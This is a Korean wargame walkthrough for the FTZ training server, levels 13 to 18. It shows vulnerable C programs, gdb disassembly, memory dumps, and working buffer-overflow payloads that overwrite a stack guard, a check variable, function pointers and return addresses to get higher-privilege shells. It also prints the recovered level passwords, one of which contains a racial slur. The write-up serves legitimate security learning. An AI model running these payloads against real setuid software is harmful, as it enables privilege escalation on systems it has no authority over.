 0xbffff4b061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff4c061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff4d061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff4e061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff4f061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff50061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff51061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff52061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff53061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff54061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff55061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff56061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff57061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff58061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
 0xbffff59061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff5a061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff5b061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff5c061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff5d061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff5e061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff5f061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff60061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff61061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff62061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff63061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff64061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff65061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff66061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff67061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff68061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff69061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff6a061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff6b061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff6c061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff6d061 61 61 61 61 61 61 61 61 61 61 00 67 45 23 01 aaaaaaaaaaa.gE#.

 0xbffff6e090 98 04 08 ~~~~~~~~~–; 스택가드 부분

스택가드가 들어있는 곳의 4바이트 주소는 0xbfff6db부터 0xbfff6de까지이다

 그곳이 바로 overflow시켜 1036이 되는 시점과 같다

[buf1024][dummy10][Guard4][dummy8][$ebp4][ret] 1036 1040 자 gcc2.96에서는 16의 배수지점에 변수값을 할당한다고 했다. 여기서 Guard가 끝나는 부분이 1040이다. 16*65=1040인가 그렇다. 이 부분에 dummy값 8과 $ebp값 4바이트를 할당한 후에 ret값이 오게된다. 그래서 buf 1024와 dummy10만큼 a로 채워준후 스택가드를 보호해주고 dummy8과 ebp4를 a로 채운후 ret값에 접근할수 있다 egg는 tmp폴더에 이미 설치했다고 가정하겠다 -_-;

[level13@ftz level13]$./tmp/egg

 Using address: 0xbffffac8

[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1036,”\\x00\\x67\\x45\\x23\\x01”,”\\xc8\\xfa\\xff\\xbf”\’`

 [level13@ftz level13]$ id

 uid=3093(level13) gid=3093(level13) groups=3093(level13)

[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1036,”\\x00\\x67\\x45\\x23\\x01”,”a”x12,”\\xd8\\xfa\\xff\\xbf”\’`

 sh-2.05a$ id

uid=3094(level14) gid=3093(level13) groups=3093(level13)

sh-2.05a$ my-pass TERM environment variable not set. Level14 Password is “what that nigga want?”.

sh-2.05a$

[level14@ftz level14]$

레벨 :: 14

레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다. 버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이 최고의 효과를 가져다줍니다.

#include ;stdio.h;

 #include ;unistd.h;

main()

 { int crap;

 int check;

 char buf[20];

 fgets(buf,45,stdin);

 if (check==0xdeadbeef)

 {

 setreuid(3095,3095);

 system(“/bin/sh”);

 }

 }

[level14@ftz level14]$

check에 0xdeadbeef가 들어가면 3095의 setreuid를 주게된다.

[level14@ftz level14]$ (printf “\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde”;cat)|./attackme;

 id

 uid=3095(level15) gid=3094(level14) groups=3094(level14)

my-pass Level15 Password is “guess what”.

레벨 :: 15

[level15@ftz level15]$ cat hint

#include ;stdio.h;

main()

 { int crap;

 int *check;

 char buf[20];

 fgets(buf,45,stdin);

 if (*check==0xdeadbeef)

 {

 setreuid(3096,3096);

 system(“/bin/sh”);

 }

 }

[level15@ftz level15]$

[level15@ftz tmp]$ cat vul1.c

 #include ;stdio.h;

 #include ;dumpcode.h;

main()

 { int crap;

 int *check;

 char buf[20];

 fgets(buf,45,stdin);

 printf(“0x%x\\n\\n”, buf);

 dumpcode(buf,80);

 if (*check==0xdeadbeef)

 {

 printf(“ok!!\\n”);

 setreuid(3096,3096);

 system(“/bin/sh”);

 }

 }

[level15@ftz tmp]$ gcc -o vul1 vul1.c

[level15@ftz tmp]$ (printf “\\xef\\xbe\\xad\\xde555550000000000122222222220099999999\\xc0\\xfa\\xff\\xbf”;cat)|./vul1

 0xbffffac0

0xbffffac0ef be ad de 35 35 35 35 35 30 30 30 30 30 30 30 ….555550000000

 0xbffffad030 30 30 31 32 32 32 32 32 32 32 32 32 32 30 30 0001222222222200

 0xbffffae039 39 39 39 39 39 39 39 c0 fa ff bf 00 84 04 08 99999999……..

 0xbffffaf058 98 04 08 68 99 04 08 38 fb ff bf 99 74 01 42 X…h…8….t.B

 0xbffffb0001 00 00 00 64 fb ff bf 6c fb ff bf 6a 83 04 08 ….d…l…j…

ok!!

 id

 uid=3095(level15) gid=3095(level15) groups=3095(level15)

자 소스코드를 복사해서 dumpcode() 함수를 넣은후에 컴팔하고… buf 첫번째 주소값에 죽은쇠고기값을 넣고.. buf값 32와.. dummy 8바이트.. 그 다음에 ret값에 buf의 첫번째 주소값.. 즉 죽은쇠고기가 있는 주소값을 넣어주니.. 쉘이떳다.. 자 gdb를 이용해서 buf주소값인 \\xc0\\xfa\\xff\\xbf(bffffac0) 를 찾아보는 방법을 살펴보자

[level15@ftz tmp]$ gdb vul1

 GNU gdb Red Hat Linux (5.1.90CVS-5)

 Copyright 2002 Free Software Foundation, Inc.

 GDB is free software, covered by the GNU General Public License, and you are

 welcome to change it and/or distribute copies of it under certain conditions.

 Type “show copying” to see the conditions.

 There is absolutely no warranty for GDB.Type “show warranty” for details.

 This GDB was configured as “i386-redhat-linux”…

 (gdb) disassemble main

 Dump of assembler code for function main:

 0x8048724 ;main;: push %ebp

 0x8048725 ;main+1;: mov%esp,%ebp

 0x8048727 ;main+3;: sub$0x38,%esp

 0x804872a ;main+6;: sub$0x4,%esp

 0x804872d ;main+9;: pushl0x8049964

 0x8048733 ;main+15;:push $0x2d

 0x8048735 ;main+17;:lea0xffffffc8(%ebp),%eax

 0x8048738 ;main+20;:push %eax

 0x8048739 ;main+21;:call 0x80483bc ;fgets;

 0x804873e ;main+26;:add$0x10,%esp

 0x8048741 ;main+29;:sub$0x8,%esp

 0x8048744 ;main+32;:lea0xffffffc8(%ebp),%eax

 0x8048747 ;main+35;:push %eax

 0x8048748 ;main+36;:push $0x8048833

 0x804874d ;main+41;:call 0x80483dc ;printf;

 0x8048752 ;main+46;:add$0x10,%esp

 0x8048755 ;main+49;:sub$0x8,%esp

 0x8048758 ;main+52;:push $0x50

 0x804875a ;main+54;:lea0xffffffc8(%ebp),%eax

 0x804875d ;main+57;:push %eax

 0x804875e ;main+58;:call 0x8048550 ;dumpcode;

 0x8048763 ;main+63;:add$0x10,%esp

 0x8048766 ;main+66;:mov0xfffffff0(%ebp),%eax

 0x8048769 ;main+69;:cmpl $0xdeadbeef,(%eax)

 0x804876f ;main+75;:jne0x80487a6 ;main+130;

 0x8048771 ;main+77;:sub$0xc,%esp

 0x8048774 ;main+80;:push $0x804883a

 0x8048779 ;main+85;:call 0x80483dc ;printf;

 0x804877e ;main+90;:add$0x10,%esp

 0x8048781 ;main+93;:sub$0x8,%esp

 0x8048784 ;main+96;:push $0xc18

 0x8048789 ;main+101;: push $0xc18

 0x804878e ;main+106;: call 0x80483ec ;setreuid;

 0x8048793 ;main+111;: add$0x10,%esp

 0x8048796 ;main+114;: sub$0xc,%esp
 0x8048799 ;main+117;: push $0x8048840

 0x804879e ;main+122;: call 0x804839c ;system;

 0x80487a3 ;main+127;: add$0x10,%esp

 0x80487a6 ;main+130;: leave

 0x80487a7 ;main+131;: ret

 0x80487a8 ;main+132;: nop

 0x80487a9 ;main+133;: nop

 0x80487aa ;main+134;: nop

 0x80487ab ;main+135;: nop

 0x80487ac ;main+136;: nop

 0x80487ad ;main+137;: nop

 0x80487ae ;main+138;: nop

 0x80487af ;main+139;: nop

 End of assembler dump.

0x8048769 ;main+69;:cmpl $0xdeadbeef,(%eax)

 이부분에서 check와 deadbeef를 비교하고 있다. 여기에 break point를 걸어서

 디버깅을 해보겠다.

(gdb) b *main+69

 Breakpoint 1 at 0x8048769

 (gdb) r

 Starting program: /home/level15/tmp/vul1

 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

 0xbffffac0

0xbffffac041 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

 0xbffffad041 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

 0xbffffae041 41 41 41 41 41 41 41 42 42 42 42 00 84 04 08 AAAAAAAABBBB….

 0xbffffaf058 98 04 08 68 99 04 08 38 fb ff bf 99 74 01 42 X…h…8….t.B

 0xbffffb0001 00 00 00 64 fb ff bf 6c fb ff bf 6a 83 04 08 ….d…l…j…

Breakpoint 1, 0x08048769 in main ()

 (gdb) info reg eax

 eax0x42424242 1111638594

 (gdb) info reg esp

 esp0xbffffac0 0xbffffac0

 (gdb) x/16bx 0xbffffac0

 0xbffffac0: 0x410x410x410x410x410x410x410x41

 0xbffffac8: 0x410x410x410x410x410x410x410x41

 (gdb) x/16bx $esp-10

 0xbffffab6: 0x000x000x800xd90x120x420x9b0x82

 0xbffffabe: 0x040x080x410x410x410x410x410x41

 (gdb)

정확하게 esp레지스터에 들은 주소값으로 buf주소값이 0xbffffac0임을 알 수 있다.

 이제 본격적으로 attackme를 공략해 보도록 하겠다.

[level15@ftz level15]$ dir

 attackmehintpublic_htmltmp

 [level15@ftz level15]$ cd tmp

 [level15@ftz tmp]$ cp ../attackme ./

 [level15@ftz tmp]$ dir

 attackme

 [level15@ftz tmp]$ gdb attackme

 GNU gdb Red Hat Linux (5.1.90CVS-5)

 Copyright 2002 Free Software Foundation, Inc.

 GDB is free software, covered by the GNU General Public License, and you are
 welcome to change it and/or distribute copies of it under certain conditions.

 Type “show copying” to see the conditions.

 There is absolutely no warranty for GDB.Type “show warranty” for details.

 This GDB was configured as “i386-redhat-linux”…

 (gdb) disassemble main

 Dump of assembler code for function main:

 0x8048490 ;main;: push %ebp

 0x8048491 ;main+1;: mov%esp,%ebp

 0x8048493 ;main+3;: sub$0x38,%esp

 0x8048496 ;main+6;: sub$0x4,%esp

 0x8048499 ;main+9;: pushl0x8049664

 0x804849f ;main+15;:push $0x2d

 0x80484a1 ;main+17;:lea0xffffffc8(%ebp),%eax

 0x80484a4 ;main+20;:push %eax

 0x80484a5 ;main+21;:call 0x8048360 ;fgets;

 0x80484aa ;main+26;:add$0x10,%esp

 0x80484ad ;main+29;:mov0xfffffff0(%ebp),%eax

 0x80484b0 ;main+32;:cmpl $0xdeadbeef,(%eax)

 0x80484b6 ;main+38;:jne0x80484dd ;main+77;

 0x80484b8 ;main+40;:sub$0x8,%esp

 0x80484bb ;main+43;:push $0xc18

 0x80484c0 ;main+48;:push $0xc18

 0x80484c5 ;main+53;:call 0x8048380 ;setreuid;

 0x80484ca ;main+58;:add$0x10,%esp

 0x80484cd ;main+61;:sub$0xc,%esp

 0x80484d0 ;main+64;:push $0x8048548

 0x80484d5 ;main+69;:call 0x8048340 ;system;

 0x80484da ;main+74;:add$0x10,%esp

 0x80484dd ;main+77;:leave

 0x80484de ;main+78;:ret

 0x80484df ;main+79;:nop

 End of assembler dump.

 (gdb) b *main+32

 Breakpoint 1 at 0x80484b0

 (gdb) r

 Starting program: /home/level15/tmp/attackme

 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Breakpoint 1, 0x080484b0 in main ()

 (gdb) info reg eax

 eax0x42424242 1111638594

 (gdb) info reg esp

 esp0xbffffac0 0xbffffac0

 (gdb) x/16bx 0xbffffac0

 0xbffffac0: 0x410x410x410x410x410x410x410x41

 0xbffffac8: 0x410x410x410x410x410x410x410x41

 (gdb) x/16bx $esp-10

 0xbffffab6: 0x000x000x800xd90x120x420x640x82

 0xbffffabe: 0x040x080x410x410x410x410x410x41

 (gdb) q

 The program is running.Exit anyway? (y or n) y
[level15@ftz tmp]$ (printf “\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad

 \\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad

 \\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde

 \\xc0\\xfa\\xff\\xbf”; cat) | /home/level15/attackme

id

 uid=3096(level16) gid=3095(level15) groups=3095(level15)

Level16 Password is “about to cause mass”. level15를 푸는데 도와주신 indra님께 감사드립니다. gdb사용법도 많이 배워꾸^^

레벨 :: 16

[level16@ftz level16]$ cat hint

#include ;stdio.h;

void shell() { setreuid(3097,3097); system(“/bin/sh”); } void printit() { printf(“Hello there!\\n”); } main() { int crap; void (*call)()=printit; char buf[20]; fgets(buf,48,stdin); call(); }

[level16@ftz level16]$

[level16@ftz level16]$ cp attackme ./tmp

[level16@ftz level16]$ cd tmp

[level16@ftz tmp]$ dir -al

 total 24

 drwxrwxr-x2 root level164096 Jul 19 02:02 .

 drwxr-xr-x4 root level164096 Mar 18 22:44 ..

 -rwxr-x—1 level16level16 14017 Jul 19 02:02 attackme

[level16@ftz tmp]$ gdb attackme

 GNU gdb Red Hat Linux (5.1.90CVS-5)

 Copyright 2002 Free Software Foundation, Inc.

 GDB is free software, covered by the GNU General Public License, and you are

 welcome to change it and/or distribute copies of it under certain conditions.

 Type “show copying” to see the conditions.

 There is absolutely no warranty for GDB.Type “show warranty” for details.

 This GDB was configured as “i386-redhat-linux”…

 (gdb) disassemble main

 Dump of assembler code for function main:

 0x8048518 ;main;: push %ebp

 0x8048519 ;main+1;: mov%esp,%ebp

 0x804851b ;main+3;: sub$0x38,%esp

 0x804851e ;main+6;: movl $0x8048500,0xfffffff0(%ebp)

 0x8048525 ;main+13;:sub$0x4,%esp

 0x8048528 ;main+16;:pushl0x80496e8

 0x804852e ;main+22;:push $0x30

 0x8048530 ;main+24;:lea0xffffffc8(%ebp),%eax

 0x8048533 ;main+27;:push %eax

 0x8048534 ;main+28;:call 0x8048384 ;fgets;

 0x8048539 ;main+33;:add$0x10,%esp

 0x804853c ;main+36;:mov0xfffffff0(%ebp),%eax

 0x804853f ;main+39;:call *%eax

 0x8048541 ;main+41;:leave

 0x8048542 ;main+42;:ret

 0x8048543 ;main+43;:nop

 0x8048544 ;main+44;:nop

 0x8048545 ;main+45;:nop

 0x8048546 ;main+46;:nop

 0x8048547 ;main+47;:nop

 0x8048548 ;main+48;:nop

 0x8048549 ;main+49;:nop

 0x804854a ;main+50;:nop

 0x804854b ;main+51;:nop

 0x804854c ;main+52;:nop

 0x804854d ;main+53;:nop

 0x804854e ;main+54;:nop

 0x804854f ;main+55;:nop

 End of assembler dump.

(gdb) disassemble shell

 Dump of assembler code for function shell:

 0x80484d0 ;shell;:push %ebp

 0x80484d1 ;shell+1;:mov%esp,%ebp

 0x80484d3 ;shell+3;:sub$0x8,%esp

 0x80484d6 ;shell+6;:sub$0x8,%esp
 0x80484d9 ;shell+9;:push $0xc19

 0x80484de ;shell+14;: push $0xc19

 0x80484e3 ;shell+19;: call 0x80483b4 ;setreuid;

 0x80484e8 ;shell+24;: add$0x10,%esp

 0x80484eb ;shell+27;: sub$0xc,%esp

 0x80484ee ;shell+30;: push $0x80485b8

 0x80484f3 ;shell+35;: call 0x8048364 ;system;

 0x80484f8 ;shell+40;: add$0x10,%esp

 0x80484fb ;shell+43;: leave

 0x80484fc ;shell+44;: ret

 0x80484fd ;shell+45;: lea0x0(%esi),%esi

 End of assembler dump.

자 shell() 함수의 주소값은 0x80484d0이다.

(gdb) b *main+27

 Breakpoint 1 at 0x8048533

(gdb) r

 Starting program: /home/level16/tmp/attackme

Breakpoint 1, 0x08048533 in main ()

 (gdb) info reg eax

 eax0xbffffac0 -1073743168

buf의 주소값은 0xbffffac0임을 알수가 있다. 왜냐하면 소스에서 fgets영역위에서

 char buf[20]으로 선언해주었기 때문에 main+27의 push %eax가 buf값을 스택에

 저장하고 있음을 알 수 있는 것이다.

(gdb) b *main+39

 Breakpoint 1 at 0x804853f

 (gdb) r

 Starting program: /home/level16/tmp/attackme

 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x0804853f in main ()

 (gdb) info reg eax

 eax0x804000a134479882

 이것은 call()의 값이다.. 바로 이값을 우리가 원하는 방향으로 변조해야 한다.

buf의 내용을 살펴보면

 (gdb) x/80 0xbffffac0

 0xbffffac0: 0x414141410x414141410x414141410x41414141

 0xbffffad0: 0x414141410x414141410x414141410x41414141

 0xbffffae0: 0x414141410x414141410x0804000a0x080484b1

 ~~~~~~~

 0xbffffaf0: 0x080495e00x080496ec0xbffffb380x42017499

 0xbffffb00: 0x000000010xbffffb640xbffffb6c0x08048342

 0xbffffb10: 0x080485900x000000000xbffffb380x42017482

 0xbffffb20: 0x000000000xbffffb6c0x4212e5bc0x400134c0

 0xbffffb30: 0x000000010x080483d00x000000000x080483f1

 0xbffffb40: 0x080485180x000000010xbffffb640x0804832c

 0xbffffb50: 0x080485900x4000b9940xbffffb5c0x00000000

 0xbffffb60: 0x000000010xbffffc470x000000000xbffffc62

 0xbffffb70: 0xbffffc780xbffffc900xbffffcae0xbffffcd0

 0xbffffb80: 0xbffffce10xbffffcee0xbffffeb10xbffffece

 0xbffffb90: 0xbffffee30xbfffff020xbfffff170xbfffff27
 0xbffffba0: 0xbfffff2f0xbfffff3f0xbfffff4d0xbfffff58

 0xbffffbb0: 0xbfffff6b0xbfffff9e0x000000000x00000010

 0xbffffbc0: 0x0183fbff0x000000060x000010000x00000011

 0xbffffbd0: 0x000000640x000000030x080480340x00000004

 0xbffffbe0: 0x000000200x000000050x000000060x00000007

 0xbffffbf0: 0x400000000x000000080x000000000x00000009

 (gdb)

빙고. A를 40개 찍고난 뒤에.. call()의 주소값인.. 0x0804000a 이 들어있다..

 그럼 우리는 buffer overflow시켜.. A를 40개 찍고난후 우리가.. 변조할 주소값을..

 이어서 넣어주면.. 된다.. 여기선 shell()의 주소값을 넣어주면 되겠다.

shell()의 주소값은 0x80484d0 이므로.

[level16@ftz level16]$ (printf “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\xd0\\x84\\x04\\x08”;cat)|./attackme

id

 uid=3097(level17) gid=3096(level16) groups=3096(level16)

my-pass Level17 Password is “king poetic”. 자.. 아주 쉽게 클리어했다.^^14

레벨 :: 17

[level17@ftz level17]$ cat hint

#include ;stdio.h;

void printit() { printf(“Hello there!\\n”); } main() { int crap; void (*call)()=printit; char buf[20]; fgets(buf,48,stdin); setreuid(3098,3098); call(); }

[level17@ftz level17]$

[level17@ftz level17]$ cd tmp

[level17@ftz tmp]$ cat ; egg.c

egg쉘을 설치하고.

[level17@ftz tmp]$ dir -al

 total 12

 drwxrwxr-x2 root level174096 Jul 19 03:10 .

 drwxr-xr-x4 root level174096 Mar 18 22:38 ..

 -rw-rw-r–1 level17level171468 Jul 19 03:10 egg.c

[level17@ftz tmp]$ gcc -o egg egg.c

[level17@ftz tmp]$ cp ../attackme ./

[level17@ftz tmp]$ dir

 attackmeeggegg.c

[level17@ftz tmp]$ gdb attackme

 GNU gdb Red Hat Linux (5.1.90CVS-5)

 Copyright 2002 Free Software Foundation, Inc.

 GDB is free software, covered by the GNU General Public License, and you are

 welcome to change it and/or distribute copies of it under certain conditions.

 Type “show copying” to see the conditions.

 There is absolutely no warranty for GDB.Type “show warranty” for details.

 This GDB was configured as “i386-redhat-linux”…

 (gdb) disassemble main

 Dump of assembler code for function main:

 0x80484a8 ;main;: push %ebp

 0x80484a9 ;main+1;: mov%esp,%ebp

 0x80484ab ;main+3;: sub$0x38,%esp

 0x80484ae ;main+6;: movl $0x8048490,0xfffffff0(%ebp)

 0x80484b5 ;main+13;:sub$0x4,%esp

 0x80484b8 ;main+16;:pushl0x804967c

 0x80484be ;main+22;:push $0x30

 0x80484c0 ;main+24;:lea0xffffffc8(%ebp),%eax

 0x80484c3 ;main+27;:push %eax

 0x80484c4 ;main+28;:call 0x8048350 ;fgets;

 0x80484c9 ;main+33;:add$0x10,%esp

 0x80484cc ;main+36;:sub$0x8,%esp

 0x80484cf ;main+39;:push $0xc1a

 0x80484d4 ;main+44;:push $0xc1a

 0x80484d9 ;main+49;:call 0x8048380 ;setreuid;

 0x80484de ;main+54;:add$0x10,%esp

 0x80484e1 ;main+57;:mov0xfffffff0(%ebp),%eax

 0x80484e4 ;main+60;:call *%eax

 0x80484e6 ;main+62;:leave

 0x80484e7 ;main+63;:ret

 0x80484e8 ;main+64;:nop

 0x80484e9 ;main+65;:nop

 0x80484ea ;main+66;:nop

 0x80484eb ;main+67;:nop

 0x80484ec ;main+68;:nop

 0x80484ed ;main+69;:nop

 0x80484ee ;main+70;:nop

 0x80484ef ;main+71;:nop

 End of assembler dump.

(gdb) b *main+27

 Breakpoint 1 at 0x80484c3

(gdb) r

 Starting program: /home/level17/tmp/attackme
Breakpoint 1, 0x080484c3 in main ()

 (gdb) info reg eax

 eax0xbffffac0 -1073743168

buf 주소값은 0xbffffac0임을 알 수 있다.

(gdb) b *main+60

 Breakpoint 1 at 0x80484e4

 (gdb) r

 Starting program: /home/level17/tmp/attackme

 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x080484e4 in main ()

 (gdb) info reg eax

 eax0x8048490134513808

 call()의 주소값

(gdb) x/80 0xbffffac0

 0xbffffac0: 0x414141410x414141410x414141410x41414141

 0xbffffad0: 0x414141410x414141410x414141410x41414141

 0xbffffae0: 0x414141410x4001000a0x080484900x08048471

 ~~~~~~~

 0xbffffaf0: 0x080495780x080496800xbffffb380x42017499

 0xbffffb00: 0x000000010xbffffb640xbffffb6c0x0804831e

 0xbffffb10: 0x080485300x000000000xbffffb380x42017482

 0xbffffb20: 0x000000000xbffffb6c0x4212e5bc0x400134c0

 0xbffffb30: 0x000000010x080483900x000000000x080483b1

 0xbffffb40: 0x080484a80x000000010xbffffb640x08048308

 0xbffffb50: 0x080485300x4000b9940xbffffb5c0x00000000

 0xbffffb60: 0x000000010xbffffc470x000000000xbffffc62

 0xbffffb70: 0xbffffc780xbffffc900xbffffcae0xbffffcd0

 0xbffffb80: 0xbffffce10xbffffcee0xbffffeb10xbffffece

 0xbffffb90: 0xbffffee30xbfffff020xbfffff170xbfffff27

 0xbffffba0: 0xbfffff2f0xbfffff3f0xbfffff4d0xbfffff58

 0xbffffbb0: 0xbfffff6b0xbfffff9e0x000000000x00000010

 0xbffffbc0: 0x0183fbff0x000000060x000010000x00000011

 0xbffffbd0: 0x000000640x000000030x080480340x00000004

 0xbffffbe0: 0x000000200x000000050x000000060x00000007

 0xbffffbf0: 0x400000000x000000080x000000000x00000009

이제 40개의 bufferoverflow를 한 후 egg 쉘을 띄우면.. 완료가 될 것으로 예상된다. 해보자.

[level17@ftz level17]$ cd tmp

[level17@ftz tmp]$ dir

 attackmeeggegg.c

[level17@ftz tmp]$ ./egg

 Using address: 0xbffffac8

[level17@ftz tmp]$ cd ..

 [level17@ftz level17]$ (printf “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\xc8\\xfa\\xff\\xbf”;cat)|./attackme

id

 uid=3098(level18) gid=3097(level17) groups=3097(level17)

예상대로다 ^^; my-pass TERM environment variable not set. Level18 Password is “why did you do it”.

레벨 :: 18

[level18@ftz level18]$ cat hint

#include ;stdio.h;

 #include ;sys/time.h;

 #include ;sys/types.h;

 #include ;unistd.h;

 void shellout(void);

 int main()

 {

 char string[100];

 int check;

 int x = 0;

 int count = 0;

 fd_set fds;

 printf(“Enter your command: “);

 fflush(stdout);

 while(1)

 {

 if(count ;= 100)

 printf(“what are you trying to do?\\n”);

 if(check == 0xdeadbeef)

 shellout();

 else

 {

 FD_ZERO(&fds);

 FD_SET(STDIN_FILENO,&fds);

if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) ;= 1)

 {

 if(FD_ISSET(fileno(stdin),&fds))

 {

 read(fileno(stdin),&x,1);

 switch(x)

 {

 case \’\\r\’:

 case \’\\n\’:

 printf(“\\a”);

 break;

 case 0x08:

 count–;

 printf(“\\b \\b”);

 break;

 default:

 string[count] = x;

 count++;

 break;

 }

 }

 }

 }

 }

 }

void shellout(void) { setreuid(3099,3099); execl(“/bin/sh”,”sh”,NULL); }

[level18@ftz level18]$

문자열이 0x08일 경우 count–;

 소스가 길다 -_-; 압박이 심하군.

=- 소스분석 -=

#include ;stdio.h;

 #include ;sys/time.h;

 #include ;sys/types.h;

 #include ;unistd.h;

 void shellout(void);

 int main()

 {

 char string[100];

 int check;

 int x = 0;

 int count = 0;

 fd_set fds;

 printf(“Enter your command: “);

 fflush(stdout);

 while(1)

 {

 if(count ;= 100)

 printf(“what are you trying to do?\\n”);

 if(check == 0xdeadbeef)

 shellout();

 else

 {

 FD_ZERO(&fds);

 FD_SET(STDIN_FILENO,&fds);

if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) ;= 1)

 {

 if(FD_ISSET(fileno(stdin),&fds))

 {

 read(fileno(stdin),&x,1);

 switch(x)

 {

 case \’\\r\’:

 case \’\\n\’:

 printf(“\\a”);

 break;

 case 0x08:

 count–;

 printf(“\\b \\b”);

 break;

 default:

 string[count] = x;

 count++;

 break;

 }

 }

 }

 }

 }

 }

void shellout(void) { setreuid(3099,3099); execl(“/bin/sh”,”sh”,NULL); }

[level18@ftz level18]$

[level18@ftz level18]$ cd tmp

[level18@ftz tmp]$ cp ../attackme ./

[level18@ftz tmp]$ dir

 attackme

 [level18@ftz tmp]$ gdb attackme

 GNU gdb Red Hat Linux (5.1.90CVS-5)

 Copyright 2002 Free Software Foundation, Inc.

 GDB is free software, covered by the GNU General Public License, and you are

 welcome to change it and/or distribute copies of it under certain conditions.

 Type “show copying” to see the conditions.

 There is absolutely no warranty for GDB.Type “show warranty” for details.

 This GDB was configured as “i386-redhat-linux”…(no debugging symbols found)…

 (gdb) disassemble main

 Dump of assembler code for function main:

 0x8048550 ;main;: push %ebp

 0x8048551 ;main+1;: mov%esp,%ebp

 0x8048553 ;main+3;: sub$0x100,%esp

 0x8048559 ;main+9;: push %edi

 0x804855a ;main+10;:push %esi

 0x804855b ;main+11;:push %ebx

 0x804855c ;main+12;:movl $0x0,0xffffff94(%ebp)

 0x8048563 ;main+19;:movl $0x0,0xffffff90(%ebp)

 0x804856a ;main+26;:push $0x8048800

 0x804856f ;main+31;:call 0x8048470 ;printf;

 0x8048574 ;main+36;:add$0x4,%esp

 0x8048577 ;main+39;:mov0x804993c,%eax

 0x804857c ;main+44;:mov%eax,0xffffff04(%ebp)

